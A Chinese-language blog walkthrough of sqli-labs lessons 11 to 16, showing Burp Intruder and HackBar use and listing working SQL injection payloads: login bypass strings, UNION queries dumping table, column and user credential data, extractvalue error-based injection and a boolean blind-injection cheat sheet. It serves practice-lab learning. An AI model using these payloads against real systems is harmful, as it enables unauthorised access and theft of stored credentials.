less-11

進去以後首頁長這樣:

輸入admin/admin後即可登入成功。

看到這樣的網頁,第一個想法就是找是不是有sql injection的語句,可以不用正規密碼直接successfully logged in。網路上當然有許多這種bypass的payload,比如:

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads。

當然可以一條一條去試,但這太浪費時間了,可以用burp來幫忙。首先開啟burp:

按上圖open browser後,再按intercept is off把intercept調到on。接下來在開啟的網頁上隨便輸入帳密後按submit:

burp會出現以下畫面:

可以看到上圖最後一行,就是剛剛輸入的帳號密碼。我們會希望可以把passwd等號後面的東西可以自動替換成剛剛SQL Injection Auth Bypass Payloads的那些字串,步驟如下:

按右鍵後再選send to Intruder:

可以看到下圖:

看上圖,把最下面那一行的admin給反藍後按右邊的add$,並切換到Payloads頁籤,把剛剛payload網頁的東西反藍後按ctrl-c,並到下圖頁面按下Paste:

這時即會出現剛剛網頁上所有payload如下圖:

再去按右上角的start attack即可開始自動填入帳密,攻擊結果如下:

攻擊完成後,可以直接從上圖的Response底下的Render看見當下網頁狀況,可以發現length超過1800的都可以成功登入,比如admin' or '1'='1#,不用輸入密碼。

chrome使用hackbar:

輸入admin/admin送出後,把上圖的Use Post method打勾,再Load URL,即可顯示以上畫面,可以從網頁直接控制Post data。

由於可能會送不出去,要參考以下網頁的解決方法:

记一次解决HackBar无法提交post请求参数方法

而剛剛burp攔截到的如下:

uname=admin&passwd=admin&submit=Submit

只要調成Submit=submit即可。

這時就可以任意更改上圖Body部分,再按EXECUTE即可再次load網頁。比如

username被改成了admin' or '1'='1'#,按下execute以後一樣可以成功登入。

因為登入成功後會出現Your Login name:Dumb、Your Password:Dumb等訊息,所以可以試試union攻擊。首先先測測有幾欄:

payload(如下反藍,先猜是不是有三欄): ' or '1'='1' union select null,null,null

按EXECUTE後沒有回顯,代表猜錯,試試兩個null:

有回顯,代表是兩欄。

但直接用上面payload不知為何會無法回顯,比如:

passwd=admin&Submit=submit&uname=admin' UNION SELECT 1,version()#

照理應該顯示版本,但卻還是一樣的頁面:

後來稍微排列組合一下。原本是先密碼接下來submit,再來是帳號;變成先帳號再密碼再submit,payload接在密碼後面,如下所示:

uname=a&passwd=a' UNION SELECT 1,version()#&Submit=submit

可以發現Your Password後面確實顯示版本8.0.31。這同時也告訴我們一件事,就是繞過的payload如果可以適用於某個欄位,就可以適用於同樣地方的另一個欄位

因此,下圖的反藍處就是可以任意替換成各式payload的地方,其查詢結果會顯示在Your Password:的後面。

接下來就可以參照less-1來查帳密。

查security底下有哪一些table:

uname=a&passwd=a' UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'#&Submit=submit

查users這table有哪些column:

uname=a&passwd=a' UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'#&Submit=submit

查詢username跟password這兩個column的內容:

uname=a&passwd=a' UNION SELECT group_concat(username),group_concat(password) FROM users#&Submit=submit

less-12

試哪個密碼可繞過,再去研究閉合方式。其他跟less-11一樣。

試試其中一個:

可以發現上圖藍字可以抽換成sql語句。sql語句如下:

  1. 測試有幾欄:
    UNION SELECT null,null

  2. 顯示security這個DB有哪些table:
    UNION SELECT 1,group_concat(TABLE_NAME) from information_schema.tables where TABLE_SCHEMA = 'security'

  3. 顯示security這個DB底下的users這個table有哪些column:
    UNION SELECT 1,group_concat(COLUMN_NAME) FROM information_schema.columns WHERE TABLE_SCHEMA = 'security' AND TABLE_NAME = 'users'

  4. 顯示users這個table的username跟password這兩個column的內容
    UNION SELECT group_concat(username),group_concat(password) FROM users

less-13

less-11一開始做過的再做一次後如下圖,可以看得出來大概是用')閉合。

把上圖反藍換成payload: extractvalue(1,concat(0x7e,(select database()))),會發現有錯誤訊息,且顯示目前資料庫如下圖上方的反藍處:

extractvalue的原理:

1、extractvalue(xml_frag, xpath_expr):從一個使用xpath語法的xml字符串中提取一個值。
xml_frag:xml文檔對象的名稱,是一個string類型。
xpath_expr:使用xpath語法格式的路徑。

SQL報錯注入的應用:當使用extractvalue(xml_frag, xpath_expr)函數時,若xpath_expr參數不符合xpath格式,就會報錯。

而符號(ascii編碼值:0x7e)是不存在xpath格式中的, 所以一旦在xpath_expr參數中使用~符號,就會產生xpath syntax error (xpath語法錯誤),通過使用這個方法就可以達到報錯注入的目的。

之後上上張圖的1=1要換成什麼,可以參照less-17。

less-14

實際試試其中一個可以繞過的密碼admin" or 1=1#,的確可以成功登入,且經測試,less-13的payload可以塞在下圖反藍處,可以做報錯注入,也可以做bool盲注。

比如目前所在的資料庫的名稱長度的查詢語句length(database())='8':

如果改成7的話就會顯示failed,代表目前資料庫名稱長度是8不是7,其他語句是一樣道理。

至於盲注語句,可以參考less-5:

  1. 猜目前所在的資料庫的名稱:
    (SELECT SUBSTRING(database(), 1, 1)) = 's'

  2. 猜security的第一個table名稱:
    substr((select table_name from information_schema.tables where table_schema=0x7365637572697479 limit 0,1),1,1) = 'e'

  3. table裡有幾個column? (橫軸數量):
    (SELECT count(*) FROM information_schema.columns WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 3

  4. 猜user這個table裡的column有哪些,名字是什麼:
    substr((select column_name from information_schema.columns where table_name=0x7573657273 and table_schema=0x7365637572697479 limit 0,1),2,1)='d'

  5. table裡有幾個row(縱軸數量):
    (SELECT table_rows from information_schema.tables WHERE table_schema = 0x7365637572697479 AND table_name = 0x7573657273) = 13

  6. 猜測users這個table裡的username:
    substr((select username from security.users limit 0,1),1,1)='D'

  7. 猜測users這個table裡的password:
    就是把上一句的username改成password而已,其他不變,payload如下:
    substr((select password from security.users limit 0,1),1,1)='D'

也可以試試跟less-17一樣的報錯注入。

less-15

一樣用

https://github.com/payloadbox/sql-injection-payload-list

裡面的SQL Injection Auth Bypass Payloads來測試哪些密碼可以順利登入,進而找出注入方式,從上圖反藍處挑倒數第二個。

也就是說跟less-14相同,只是admin後面的"變成'

less-16

挑上圖反藍最下面那個Payload,感覺它的"1"="1"可以直接換成其他sql查詢語句。

經過測試後,的確把上圖反藍換成less-5用過的語句,即可使用blind sql injection。


#sql injection: 帳密登入爆破-使用burp #sql injection: chrome之hackbar更改post data #sql injection: error-based攻擊簡述 #blind sql injection: 語句大全(cheat sheet)







Related Posts

Day 79

Day 79

LeetCode JS Easy 2704. To Be Or Not To Be

LeetCode JS Easy 2704. To Be Or Not To Be

JavaScript 的迴圈

JavaScript 的迴圈


Comments